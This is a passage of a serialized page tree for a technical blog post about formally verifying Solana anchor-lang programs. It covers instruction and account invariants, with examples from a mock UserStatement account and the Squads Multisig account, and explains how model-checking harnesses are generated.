my_crank",{"type":21,"tag":153,"props":23112,"children":23113},{"style":160},[23114],{"type":26,"value":189},{"type":21,"tag":153,"props":23116,"children":23117},{"style":192},[23118],{"type":26,"value":1882},{"type":21,"tag":153,"props":23120,"children":23121},{"style":198},[23122],{"type":26,"value":201},{"type":21,"tag":153,"props":23124,"children":23125},{"style":214},[23126],{"type":26,"value":22983},{"type":21,"tag":153,"props":23128,"children":23129},{"style":160},[23130],{"type":26,"value":8537},{"type":21,"tag":153,"props":23132,"children":23133},{"style":214},[23134],{"type":26,"value":23135},"Crank",{"type":21,"tag":153,"props":23137,"children":23138},{"style":160},[23139],{"type":26,"value":23140},">) ",{"type":21,"tag":153,"props":23142,"children":23143},{"style":198},[23144],{"type":26,"value":2953},{"type":21,"tag":153,"props":23146,"children":23147},{"style":214},[23148],{"type":26,"value":16475},{"type":21,"tag":153,"props":23150,"children":23151},{"style":160},[23152],{"type":26,"value":23025},{"type":21,"tag":153,"props":23154,"children":23155},{"class":155,"line":225},[23156],{"type":21,"tag":153,"props":23157,"children":23158},{"style":198},[23159],{"type":26,"value":23033},{"type":21,"tag":153,"props":23161,"children":23162},{"class":155,"line":239},[23163],{"type":21,"tag":153,"props":23164,"children":23165},{"style":160},[23166],{"type":26,"value":548},{"type":21,"tag":22,"props":23168,"children":23169},{},[23170,23172,23176,23178,23184],{"type":26,"value":23171},"With this invariant, you could prove that the function ",{"type":21,"tag":5302,"props":23173,"children":23174},{},[23175],{"type":26,"value":15811},{"type":26,"value":23177}," returns ",{"type":21,"tag":78,"props":23179,"children":23181},{"className":23180},[],[23182],{"type":26,"value":23183},"Ok",{"type":26,"value":23185},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":21,"tag":21491,"props":23187,"children":23188},{},[],{"type":21,"tag":22,"props":23190,"children":23191},{},[23192,23194,23199,23200,23205,23207,23212,23214,23219,23221,23226],{"type":26,"value":23193},"Note that ",{"type":21,"tag":78,"props":23195,"children":23197},{"className":23196},[],[23198],{"type":26,"value":22851},{"type":26,"value":52},{"type":21,"tag":78,"props":23201,"children":23203},{"className":23202},[],[23204],{"type":26,"value":22858},{"type":26,"value":23206}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":21,"tag":78,"props":23208,"children":23210},{"className":23209},[],[23211],{"type":26,"value":22851},{"type":26,"value":23213}," is not satisfied and a function may fail even if ",{"type":21,"tag":78,"props":23215,"children":23217},{"className":23216},[],[23218],{"type":26,"value":22858},{"type":26,"value":23220}," is not satisfied. If you want to prove the ",{"type":21,"tag":5302,"props":23222,"children":23223},{},[23224],{"type":26,"value":23225},"exact condition",{"type":26,"value":23227}," required for an instruction to succeed, you could use a form like the following:",{"type":21,"tag":143,"props":23229,"children":23231},{"code":23230,"language":147,"meta":7,"className":145,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[23232],{"type":21,"tag":78,"props":23233,"children":23234},{"__ignoreMap":7},[23235,23279,23286,23303,23329,23381,23388],{"type":21,"tag":153,"props":23236,"children":23237},{"class":155,"line":156},[23238,23242,23247,23251,23255,23259,23263,23267,23271,23275],{"type":21,"tag":153,"props":23239,"children":23240},{"style":170},[23241],{"type":26,"value":1000},{"type":21,"tag":153,"props":23243,"children":23244},{"style":181},[23245],{"type":26,"value":23246}," my_invariant",{"type":21,"tag":153,"props":23248,"children":23249},{"style":160},[23250],{"type":26,"value":189},{"type":21,"tag":153,"props":23252,"children":23253},{"style":198},[23254],{"type":26,"value":12313},{"type":21,"tag":153,"props":23256,"children":23257},{"style":160},[23258],{"type":26,"value":2362},{"type":21,"tag":153,"props":23260,"children":23261},{"style":198},[23262],{"type":26,"value":2953},{"type":21,"tag":153,"props":23264,"children":23265},{"style":214},[23266],{"type":26,"value":14769},{"type":21,"tag":153,"props":23268,"children":23269},{"style":160},[23270],{"type":26,"value":12308},{"type":21,"tag":153,"props":23272,"children":23273},{"style":198},[23274],{"type":26,"value":12313},{"type":21,"tag":153,"props":23276,"children":23277},{"style":160},[23278],{"type":26,"value":12318},{"type":21,"tag":153,"props":23280,"children":23281},{"class":155,"line":166},[23282],{"type":21,"tag":153,"props":23283,"children":23284},{"emptyLinePlaceholder":16},[23285],{"type":26,"value":759},{"type":21,"tag":153,"props":23287,"children":23288},{"class":155,"line":225},[23289,23294,23298],{"type":21,"tag":153,"props":23290,"children":23291},{"style":160},[23292],{"type":26,"value":23293},"#[succeeds_if(my_invariant(",{"type":21,"tag":153,"props":23295,"children":23296},{"style":198},[23297],{"type":26,"value":12313},{"type":21,"tag":153,"props":23299,"children":23300},{"style":160},[23301],{"type":26,"value":23302},"))]\n",{"type":21,"tag":153,"props":23304,"children":23305},{"class":155,"line":239},[23306,23311,23316,23321,23325],{"type":21,"tag":153,"props":23307,"children":23308},{"style":160},[23309],{"type":26,"value":23310},"#[errors_if(",{"type":21,"tag":153,"props":23312,"children":23313},{"style":198},[23314],{"type":26,"value":23315},"!",{"type":21,"tag":153,"props":23317,"children":23318},{"style":160},[23319],{"type":26,"value":23320},"my_invariant(",{"type":21,"tag":153,"props":23322,"children":23323},{"style":198},[23324],{"type":26,"value":12313},{"type":21,"tag":153,"props":23326,"children":23327},{"style":160},[23328],{"type":26,"value":23302},{"type":21,"tag":153,"props":23330,"children":23331},{"class":155,"line":382},[23332,23336,23341,23345,23349,23353,23357,23361,23365,23369,23373,23377],{"type":21,"tag":153,"props":23333,"children":23334},{"style":170},[23335],{"type":26,"value":1000},{"type":21,"tag":153,"props":23337,"children":23338},{"style":181},[23339],{"type":26,"value":23340}," my_instruction",{"type":21,"tag":153,"props":23342,"children":23343},{"style":160},[23344],{"type":26,"value":189},{"type":21,"tag":153,"props":23346,"children":23347},{"style":192},[23348],{"type":26,"value":1882},{"type":21,"tag":153,"props":23350,"children":23351},{"style":198},[23352],{"type":26,"value":201},{"type":21,"tag":153,"props":23354,"children":23355},{"style":214},[23356],{"type":26,"value":22983},{"type":21,"tag":153,"props":23358,"children":23359},{"style":160},[23360],{"type":26,"value":8537},{"type":21,"tag":153,"props":23362,"children":23363},{"style":198},[23364],{"type":26,"value":12313},{"type":21,"tag":153,"props":23366,"children":23367},{"style":160},[23368],{"type":26,"value":23140},{"type":21,"tag":153,"props":23370,"children":23371},{"style":198},[23372],{"type":26,"value":2953},{"type":21,"tag":153,"props":23374,"children":23375},{"style":214},[23376],{"type":26,"value":16475},{"type":21,"tag":153,"props":23378,"children":23379},{"style":160},[23380],{"type":26,"value":23025},{"type":21,"tag":153,"props":23382,"children":23383},{"class":155,"line":501},[23384],{"type":21,"tag":153,"props":23385,"children":23386},{"style":198},[23387],{"type":26,"value":23033},{"type":21,"tag":153,"props":23389,"children":23390},{"class":155,"line":533},[23391],{"type":21,"tag":153,"props":23392,"children":23393},{"style":160},[23394],{"type":26,"value":548},{"type":21,"tag":22,"props":23396,"children":23397},{},[23398],{"type":26,"value":23399},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":21,"tag":21591,"props":23401,"children":23403},{"id":23402},"account-invariants",[23404],{"type":26,"value":23405},"Account Invariants",{"type":21,"tag":22,"props":23407,"children":23408},{},[23409,23411,23416],{"type":26,"value":23410},"The other type of invariant is an ",{"type":21,"tag":8055,"props":23412,"children":23413},{},[23414],{"type":26,"value":23415},"Account Invariant",{"type":26,"value":23417},". This invariant describes some property of an account that should always hold.",{"type":21,"tag":22,"props":23419,"children":23420},{},[23421,23423,23428,23429,23435],{"type":26,"value":23422},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":21,"tag":78,"props":23424,"children":23426},{"className":23425},[],[23427],{"type":26,"value":318},{"type":26,"value":15851},{"type":21,"tag":78,"props":23430,"children":23432},{"className":23431},[],[23433],{"type":26,"value":23434},"init",{"type":26,"value":23436},").",{"type":21,"tag":22,"props":23438,"children":23439},{},[23440,23442,23448],{"type":26,"value":23441},"For example, given a mock ",{"type":21,"tag":78,"props":23443,"children":23445},{"className":23444},[],[23446],{"type":26,"value":23447},"UserStatement",{"type":26,"value":23449}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":21,"tag":143,"props":23451,"children":23453},{"code":23452,"language":147,"meta":7,"className":145,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[23454],{"type":21,"tag":78,"props":23455,"children":23456},{"__ignoreMap":7},[23457,23465,23473,23507,23514,23530,23555,23579,23603],{"type":21,"tag":153,"props":23458,"children":23459},{"class":155,"line":156},[23460],{"type":21,"tag":153,"props":23461,"children":23462},{"style":160},[23463],{"type":26,"value":23464},"#[account]\n",{"type":21,"tag":153,"props":23466,"children":23467},{"class":155,"line":166},[23468],{"type":21,"tag":153,"props":23469,"children":23470},{"style":160},[23471],{"type":26,"value":23472},"#[invariant(\n",{"type":21,"tag":153,"props":23474,"children":23475},{"class":155,"line":225},[23476,23481,23485,23490,23494,23498,23502],{"type":21,"tag":153,"props":23477,"children":23478},{"style":160},[23479],{"type":26,"value":23480},"    self",{"type":21,"tag":153,"props":23482,"children":23483},{"style":198},[23484],{"type":26,"value":355},{"type":21,"tag":153,"props":23486,"children":23487},{"style":160},[23488],{"type":26,"value":23489},"assets ",{"type":21,"tag":153,"props":23491,"children":23492},{"style":198},[23493],{"type":26,"value":12664},{"type":21,"tag":153,"props":23495,"children":23496},{"style":160},[23497],{"type":26,"value":16510},{"type":21,"tag":153,"props":23499,"children":23500},{"style":198},[23501],{"type":26,"value":355},{"type":21,"tag":153,"props":23503,"children":23504},{"style":160},[23505],{"type":26,"value":23506},"liabilities\n",{"type":21,"tag":153,"props":23508,"children":23509},{"class":155,"line":239},[23510],{"type":21,"tag":153,"props":23511,"children":23512},{"style":160},[23513],{"type":26,"value":22954},{"type":21,"tag":153,"props":23515,"children":23516},{"class":155,"line":382},[23517,23521,23526],{"type":21,"tag":153,"props":23518,"children":23519},{"style":170},[23520],{"type":26,"value":12123},{"type":21,"tag":153,"props":23522,"children":23523},{"style":214},[23524],{"type":26,"value":23525}," UserStatement",{"type":21,"tag":153,"props":23527,"children":23528},{"style":160},[23529],{"type":26,"value":236},{"type":21,"tag":153,"props":23531,"children":23532},{"class":155,"line":501},[23533,23538,23543,23547,23551],{"type":21,"tag":153,"props":23534,"children":23535},{"style":170},[23536],{"type":26,"value":23537},"    pub",{"type":21,"tag":153,"props":23539,"children":23540},{"style":192},[23541],{"type":26,"value":23542}," owner",{"type":21,"tag":153,"props":23544,"children":23545},{"style":198},[23546],{"type":26,"value":201},{"type":21,"tag":153,"props":23548,"children":23549},{"style":214},[23550],{"type":26,"value":2266},{"type":21,"tag":153,"props":23552,"children":23553},{"style":160},[23554],{"type":26,"value":792},{"type":21,"tag":153,"props":23556,"children":23557},{"class":155,"line":533},[23558,23562,23567,23571,23575],{"type":21,"tag":153,"props":23559,"children":23560},{"style":170},[23561],{"type":26,"value":23537},{"type":21,"tag":153,"props":23563,"children":23564},{"style":192},[23565],{"type":26,"value":23566}," assets",{"type":21,"tag":153,"props":23568,"children":23569},{"style":198},[23570],{"type":26,"value":201},{"type":21,"tag":153,"props":23572,"children":23573},{"style":214},[23574],{"type":26,"value":323},{"type":21,"tag":153,"props":23576,"children":23577},{"style":160},[23578],{"type":26,"value":792},{"type":21,"tag":153,"props":23580,"children":23581},{"class":155,"line":542},[23582,23586,23591,23595,23599],{"type":21,"tag":153,"props":23583,"children":23584},{"style":170},[23585],{"type":26,"value":23537},{"type":21,"tag":153,"props":23587,"children":23588},{"style":192},[23589],{"type":26,"value":23590}," liabilities",{"type":21,"tag":153,"props":23592,"children":23593},{"style":198},[23594],{"type":26,"value":201},{"type":21,"tag":153,"props":23596,"children":23597},{"style":214},[23598],{"type":26,"value":323},{"type":21,"tag":153,"props":23600,"children":23601},{"style":160},[23602],{"type":26,"value":792},{"type":21,"tag":153,"props":23604,"children":23605},{"class":155,"line":762},[23606],{"type":21,"tag":153,"props":23607,"children":23608},{"style":160},[23609],{"type":26,"value":548},{"type":21,"tag":22,"props":23611,"children":23612},{},[23613,23615,23620],{"type":26,"value":23614},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":21,"tag":78,"props":23616,"children":23618},{"className":23617},[],[23619],{"type":26,"value":23447},{"type":26,"value":23621}," is created or modified.",{"type":21,"tag":22,"props":23623,"children":23624},{},[23625,23627,23633],{"type":26,"value":23626},"In another example, we developed the following invariant for the ",{"type":21,"tag":29,"props":23628,"children":23630},{"href":21522,"rel":23629},[33],[23631],{"type":26,"value":23632},"Squads Multisig",{"type":26,"value":23634}," wallet account:",{"type":21,"tag":143,"props":23636,"children":23638},{"code":23637,"language":147,"meta":7,"className":145,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[23639],{"type":21,"tag":78,"props":23640,"children":23641},{"__ignoreMap":7},[23642,23649,23656,23686,23745,23774,23826,23833,23854,23884,23914,23944,23973,24003,24033,24062,24101],{"type":21,"tag":153,"props":23643,"children":23644},{"class":155,"line":156},[23645],{"type":21,"tag":153,"props":23646,"children":23647},{"style":160},[23648],{"type":26,"value":23464},{"type":21,"tag":153,"props":23650,"children":23651},{"class":155,"line":166},[23652],{"type":21,"tag":153,"props":23653,"children":23654},{"style":160},[23655],{"type":26,"value":23472},{"type":21,"tag":153,"props":23657,"children":23658},{"class":155,"line":225},[23659,23664,23668,23672,23677,23681],{"type":21,"tag":153,"props":23660,"children":23661},{"style":198},[23662],{"type":26,"value":23663},"    !",{"type":21,"tag":153,"props":23665,"children":23666},{"style":160},[23667],{"type":26,"value":16427},{"type":21,"tag":153,"props":23669,"children":23670},{"style":198},[23671],{"type":26,"value":355},{"type":21,"tag":153,"props":23673,"children":23674},{"style":160},[23675],{"type":26,"value":23676},"keys",{"type":21,"tag":153,"props":23678,"children":23679},{"style":198},[23680],{"type":26,"value":355},{"type":21,"tag":153,"props":23682,"children":23683},{"style":160},[23684],{"type":26,"value":23685},"is_empty()\n",{"type":21,"tag":153,"props":23687,"children":23688},{"class":155,"line":239},[23689,23693,23698,23702,23706,23710,23715,23719,23724,23728,23733,23737,23741],{"type":21,"tag":153,"props":23690,"children":23691},{"style":198},[23692],{"type":26,"value":18318},{"type":21,"tag":153,"props":23694,"children":23695},{"style":160},[23696],{"type":26,"value":23697}," (self",{"type":21,"tag":153,"props":23699,"children":23700},{"style":198},[23701],{"type":26,"value":355},{"type":21,"tag":153,"props":23703,"children":23704},{"style":160},[23705],{"type":26,"value":23676},{"type":21,"tag":153,"props":23707,"children":23708},{"style":198},[23709],{"type":26,"value":355},{"type":21,"tag":153,"props":23711,"children":23712},{"style":160},[23713],{"type":26,"value":23714},"len() ",{"type":21,"tag":153,"props":23716,"children":23717},{"style":198},[23718],{"type":26,"value":22111},{"type":21,"tag":153,"props":23720,"children":23721},{"style":214},[23722],{"type":26,"value":23723}," u16",{"type":21,"tag":153,"props":23725,"children":23726},{"style":198},[23727],{"type":26,"value":265},{"type":21,"tag":153,"props":23729,"children":23730},{"style":214},[23731],{"type":26,"value":23732},"MAX",{"type":21,"tag":153,"props":23734,"children":23735},{"style":170},[23736],{"type":26,"value":11553},{"type":21,"tag":153,"props":23738,"children":23739},{"style":214},[23740],{"type":26,"value":16445},{"type":21,"tag":153,"props":23742,"children":23743},{"style":160},[23744],{"type":26,"value":5909},{"type":21,"tag":153,"props":23746,"children":23747},{"class":155,"line":382},[23748,23752,23756,23760,23765,23769],{"type":21,"tag":153,"props":23749,"children":23750},{"style":198},[23751],{"type":26,"value":18318},{"type":21,"tag":153,"props":23753,"children":23754},{"style":160},[23755],{"type":26,"value":23697},{"type":21,"tag":153,"props":23757,"children":23758},{"style":198},[23759],{"type":26,"value":355},{"type":21,"tag":153,"props":23761,"children":23762},{"style":160},[23763],{"type":26,"value":23764},"threshold ",{"type":21,"tag":153,"props":23766,"children":23767},{"style":198},[23768],{"type":26,"value":12664},{"type":21,"tag":153,"props":23770,"children":23771},{"style":160},[23772],{"type":26,"value":23773}," 1)\n",{"type":21,"tag":153,"props":23775,"children":23776},{"class":155,"line":501},[23777,23781,23785,23789,23793,23797,23801,23805,23809,23813,23817,23821],{"type":21,"tag":153,"props":23778,"children":23779},{"style":198},[23780],{"type":26,"value":18318},{"type":21,"tag":153,"props":23782,"children":23783},{"style":160},[23784],{"type":26,"value":23697},{"type":21,"tag":153,"props":23786,"children":23787},{"style":198},[23788],{"type":26,"value":355},{"type":21,"tag":153,"props":23790,"children":23791},{"style":160},[23792],{"type":26,"value":23764},{"type":21,"tag":153,"props":23794,"children":23795},{"style":170},[23796],{"type":26,"value":11567},{"type":21,"tag":153,"props":23798,"children":23799},{"style":214},[23800],{"type":26,"value":16445},{"type":21,"tag":153,"props":23802,"children":23803},{"style":198},[23804],{"type":26,"value":10923},{"type":21,"tag":153,"props":23806,"children":23807},{"style":160},[23808],{"type":26,"value":16510},{"type":21,"tag":153,"props":23810,"children":23811},{"style":198},[23812],{"type":26,"value":355},{"type":21,"tag":153,"props":23814,"children":23815},{"style":160},[23816],{"type":26,"value":23676},{"type":21,"tag":153,"props":23818,"children":23819},{"style":198},[23820],{"type":26,"value":355},{"type":21,"tag":153,"props":23822,"children":23823},{"style":160},[23824],{"type":26,"value":23825},"len())\n",{"type":21,"tag":153,"props":23827,"children":23828},{"class":155,"line":533},[23829],{"type":21,"tag":153,"props":23830,"children":23831},{"style":160},[23832],{"type":26,"value":22954},{"type":21,"tag":153,"props":23834,"children":23835},{"class":155,"line":542},[23836,23840,23845,23850],{"type":21,"tag":153,"props":23837,"children":23838},{"style":170},[23839],{"type":26,"value":173},{"type":21,"tag":153,"props":23841,"children":23842},{"style":170},[23843],{"type":26,"value":23844}," struct",{"type":21,"tag":153,"props":23846,"children":23847},{"style":214},[23848],{"type":26,"value":23849}," Ms",{"type":21,"tag":153,"props":23851,"children":23852},{"style":160},[23853],{"type":26,"value":236},{"type":21,"tag":153,"props":23855,"children":23856},{"class":155,"line":762},[23857,23861,23866,23870,23874,23879],{"type":21,"tag":153,"props":23858,"children":23859},{"style":170},[23860],{"type":26,"value":23537},{"type":21,"tag":153,"props":23862,"children":23863},{"style":192},[23864],{"type":26,"value":23865}," threshold",{"type":21,"tag":153,"props":23867,"children":23868},{"style":198},[23869],{"type":26,"value":201},{"type":21,"tag":153,"props":23871,"children":23872},{"style":214},[23873],{"type":26,"value":23723},{"type":21,"tag":153,"props":23875,"children":23876},{"style":160},[23877],{"type":26,"value":23878},",               ",{"type":21,"tag":153,"props":23880,"children":23881},{"style":3050},[23882],{"type":26,"value":23883},"// threshold for signatures\n",{"type":21,"tag":153,"props":23885,"children":23886},{"class":155,"line":776},[23887,23891,23896,23900,23904,23909],{"type":21,"tag":153,"props":23888,"children":23889},{"style":170},[23890],{"type":26,"value":23537},{"type":21,"tag":153,"props":23892,"children":23893},{"style":192},[23894],{"type":26,"value":23895}," authority_index",{"type":21,"tag":153,"props":23897,"children":23898},{"style":198},[23899],{"type":26,"value":201},{"type":21,"tag":153,"props":23901,"children":23902},{"style":214},[23903],{"type":26,"value":23723},{"type":21,"tag":153,"props":23905,"children":23906},{"style":160},[23907],{"type":26,"value":23908},",         ",{"type":21,"tag":153,"props":23910,"children":23911},{"style":3050},[23912],{"type":26,"value":23913},"// index to seed other authorities under this multisig\n",{"type":21,"tag":153,"props":23915,"children":23916},{"class":155,"line":795},[23917,23921,23926,23930,23934,23939],{"type":21,"tag":153,"props":23918,"children":23919},{"style":170},[23920],{"type":26,"value":23537},{"type":21,"tag":153,"props":23922,"children":23923},{"style":192},[23924],{"type":26,"value":23925}," transaction_index",{"type":21,"tag":153,"props":23927,"children":23928},{"style":198},[23929],{"type":26,"value":201},{"type":21,"tag":153,"props":23931,"children":23932},{"style":214},[23933],{"type":26,"value":20245},{"type":21,"tag":153,"props":23935,"children":23936},{"style":160},[23937],{"type":26,"value":23938},",       ",{"type":21,"tag":153,"props":23940,"children":23941},{"style":3050},[23942],{"type":26,"value":23943},"// look up and seed reference for transactions\n",{"type":21,"tag":153,"props":23945,"children":23946},{"class":155,"line":808},[23947,23951,23956,23960,23964,23968],{"type":21,"tag":153,"props":23948,"children":23949},{"style":170},[23950],{"type":26,"value":23537},{"type":21,"tag":153,"props":23952,"children":23953},{"style":192},[23954],{"type":26,"value":23955}," ms_change_index",{"type":21,"tag":153,"props":23957,"children":23958},{"style":198},[23959],{"type":26,"value":201},{"type":21,"tag":153,"props":23961,"children":23962},{"style":214},[23963],{"type":26,"value":20245},{"type":21,"tag":153,"props":23965,"children":23966},{"style":160},[23967],{"type":26,"value":23908},{"type":21,"tag":153,"props":23969,"children":23970},{"style":3050},[23971],{"type":26,"value":23972},"// the last executed/closed transaction\n",{"type":21,"tag":153,"props":23974,"children":23975},{"class":155,"line":820},[23976,23980,23985,23989,23993,23998],{"type":21,"tag":153,"props":23977,"children":23978},{"style":170},[23979],{"type":26,"value":23537},{"type":21,"tag":153,"props":23981,"children":23982},{"style":192},[23983],{"type":26,"value":23984}," bump",{"type":21,"tag":153,"props":23986,"children":23987},{"style":198},[23988],{"type":26,"value":201},{"type":21,"tag":153,"props":23990,"children":23991},{"style":214},[23992],{"type":26,"value":5090},{"type":21,"tag":153,"props":23994,"children":23995},{"style":160},[23996],{"type":26,"value":23997},",                     ",{"type":21,"tag":153,"props":23999,"children":24000},{"style":3050},[24001],{"type":26,"value":24002},"// bump for the multisig seed\n",{"type":21,"tag":153,"props":24004,"children":24005},{"class":155,"line":842},[24006,24010,24015,24019,24023,24028],{"type":21,"tag":153,"props":24007,"children":24008},{"style":170},[24009],{"type":26,"value":23537},{"type":21,"tag":153,"props":24011,"children":24012},{"style":192},[24013],{"type":26,"value":24014}," create_key",{"type":21,"tag":153,"props":24016,"children":24017},{"style":198},[24018],{"type":26,"value":201},{"type":21,"tag":153,"props":24020,"children":24021},{"style":214},[24022],{"type":26,"value":2266},{"type":21,"tag":153,"props":24024,"children":24025},{"style":160},[24026],{"type":26,"value":24027},",           ",{"type":21,"tag":153,"props":24029,"children":24030},{"style":3050},[24031],{"type":26,"value":24032},"// random key(or not) used to seed the multisig pda\n",{"type":21,"tag":153,"props":24034,"children":24035},{"class":155,"line":3204},[24036,24040,24045,24049,24053,24057],{"type":21,"tag":153,"props":24037,"children":24038},{"style":170},[24039],{"type":26,"value":23537},{"type":21,"tag":153,"props":24041,"children":24042},{"style":192},[24043],{"type":26,"value":24044}," allow_external_execute",{"type":21,"tag":153,"props":24046,"children":24047},{"style":198},[24048],{"type":26,"value":201},{"type":21,"tag":153,"props":24050,"children":24051},{"style":214},[24052],{"type":26,"value":14769},{"type":21,"tag":153,"props":24054,"children":24055},{"style":160},[24056],{"type":26,"value":1670},{"type":21,"tag":153,"props":24058,"children":24059},{"style":3050},[24060],{"type":26,"value":24061},"// allow non-member keys to execute txs\n",{"type":21,"tag":153,"props":24063,"children":24064},{"class":155,"line":3230},[24065,24069,24074,24078,24083,24087,24091,24096],{"type":21,"tag":153,"props":24066,"children":24067},{"style":170},[24068],{"type":26,"value":23537},{"type":21,"tag":153,"props":24070,"children":24071},{"style":192},[24072],{"type":26,"value":24073}," keys",{"type":21,"tag":153,"props":24075,"children":24076},{"style":198},[24077],{"type":26,"value":201},{"type":21,"tag":153,"props":24079,"children":24080},{"style":214},[24081],{"type":26,"value":24082}," Vec",{"type":21,"tag":153,"props":24084,"children":24085},{"style":160},[24086],{"type":26,"value":8537},{"type":21,"tag":153,"props":24088,"children":24089},{"style":214},[24090],{"type":26,"value":2878},{"type":21,"tag":153,"props":24092,"children":24093},{"style":160},[24094],{"type":26,"value":24095},">,            ",{"type":21,"tag":153,"props":24097,"children":24098},{"style":3050},[24099],{"type":26,"value":24100},"// keys of the members\n",{"type":21,"tag":153,"props":24102,"children":24103},{"class":155,"line":3239},[24104],{"type":21,"tag":153,"props":24105,"children":24106},{"style":160},[24107],{"type":26,"value":548},{"type":21,"tag":22,"props":24109,"children":24110},{},[24111],{"type":26,"value":24112},"Here we are verifying multiple things at once:",{"type":21,"tag":87,"props":24114,"children":24115},{},[24116,24127,24138,24149],{"type":21,"tag":91,"props":24117,"children":24118},{},[24119,24125],{"type":21,"tag":78,"props":24120,"children":24122},{"className":24121},[],[24123],{"type":26,"value":24124},"!self.keys.is_empty()",{"type":26,"value":24126}," : ensure there is at least one member",{"type":21,"tag":91,"props":24128,"children":24129},{},[24130,24136],{"type":21,"tag":78,"props":24131,"children":24133},{"className":24132},[],[24134],{"type":26,"value":24135},"self.keys.len() \u003C= u16::MAX as usize",{"type":26,"value":24137}," : set an upper limit of 65535 members",{"type":21,"tag":91,"props":24139,"children":24140},{},[24141,24147],{"type":21,"tag":78,"props":24142,"children":24144},{"className":24143},[],[24145],{"type":26,"value":24146},"self.threshold >= 1",{"type":26,"value":24148}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":21,"tag":91,"props":24150,"children":24151},{},[24152,24158],{"type":21,"tag":78,"props":24153,"children":24155},{"className":24154},[],[24156],{"type":26,"value":24157},"self.threshold as usize \u003C= self.keys.len()",{"type":26,"value":24159}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":21,"tag":66,"props":24161,"children":24163},{"id":24162},"verification-how-do-we-check-that-our-model-is-correct",[24164],{"type":26,"value":24165},"Verification: How do we check that our model is correct?",{"type":21,"tag":22,"props":24167,"children":24168},{},[24169,24171,24175,24177,24182],{"type":26,"value":24170},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":21,"tag":5302,"props":24172,"children":24173},{},[24174],{"type":26,"value":22665},{"type":26,"value":24176}," on which we can run bounded model checking. Our tool does this ",{"type":21,"tag":5302,"props":24178,"children":24179},{},[24180],{"type":26,"value":24181},"automagically",{"type":26,"value":24183}," for anchor-lang programs.",{"type":21,"tag":22,"props":24185,"children":24186},{},[24187,24189,24195,24197,24202,24204,24209,24210,24215,24217,24222,24224,24229,24230,24236,24238,24244,24245,24251],{"type":26,"value":24188},"Specifically, for a given ",{"type":21,"tag":78,"props":24190,"children":24192},{"className":24191},[],[24193],{"type":26,"value":24194},"Context\u003CT>",{"type":26,"value":24196}," with ",{"type":21,"tag":5302,"props":24198,"children":24199},{},[24200],{"type":26,"value":24201},"incoming",{"type":26,"value":24203}," accounts of types (",{"type":21,"tag":78,"props":24205,"children":24207},{"className":24206},[],[24208],{"type":26,"value":23434},{"type":26,"value":7310},{"type":21,"tag":78,"props":24211,"children":24213},{"className":24212},[],[24214],{"type":26,"value":318},{"type":26,"value":24216},") and ",{"type":21,"tag":5302,"props":24218,"children":24219},{},[24220],{"type":26,"value":24221},"outgoing",{"type":26,"value":24223}," accounts of type (",{"type":21,"tag":78,"props":24225,"children":24227},{"className":24226},[],[24228],{"type":26,"value":318},{"type":26,"value":7310},{"type":21,"tag":78,"props":24231,"children":24233},{"className":24232},[],[24234],{"type":26,"value":24235},"close",{"type":26,"value":24237},") we define a ",{"type":21,"tag":78,"props":24239,"children":24241},{"className":24240},[],[24242],{"type":26,"value":24243},"pre_condition",{"type":26,"value":52},{"type":21,"tag":78,"props":24246,"children":24248},{"className":24247},[],[24249],{"type":26,"value":24250},"post_condition",{"type":26,"value":24252}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":21,"tag":22,"props":24254,"children":24255},{},[24256],{"type":21,"tag":78,"props":24257,"children":24259},{"className":24258},[6715,6716],[24260],{"type":21,"tag":153,"props":24261,"children":24263},{"className":24262},[6721],[24264],{"type":21,"tag":153,"props":24265,"children":24267},{"className":24266,"ariaHidden":3294},[6726],[24268,24304],{"type":21,"tag":153,"props":24269,"children":24271},{"className":24270},[6731],[24272,24277,24285,24290,24294,24300],{"type":21,"tag":153,"props":24273,"children":24276},{"className":24274,"style":24275},[6736],"height:0.6833em;",[],{"type":21,"tag":153,"props":24278,"children":24282},{"className":24279,"style":24281},[6742,24280],"mathnormal","margin-right:0.13889em;",[24283],{"type":26,"value":24284},"P",{"type":21,"tag":153,"props":24286,"children":24288},{"className":24287},[6742],[24289],{"type":26,"value":2996},{"type":21,"tag":153,"props":24291,"children":24293},{"className":24292,"style":6918},[6820],[],{"type":21,"tag":153,"props":24295,"children":24297},{"className":24296},[6923],[24298],{"type":26,"value":24299},":=",{"type":21,"tag":153,"props":24301,"children":24303},{"className":24302,"style":6918},[6820],[],{"type":21,"tag":153,"props":24305,"children":24307},{"className":24306},[6731],[24308,24313,24453,24457],{"type":21,"tag":153,"props":24309,"children":24312},{"className":24310,"style":24311},[6736],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":21,"tag":153,"props":24314,"children":24317},{"className":24315},[24316],"mop",[24318,24327],{"type":21,"tag":153,"props":24319,"children":24324},{"className":24320,"style":24323},[24316,24321,24322],"op-symbol","small-op","position:relative;top:0em;",[24325],{"type":26,"value":24326},"⋀",{"type":21,"tag":153,"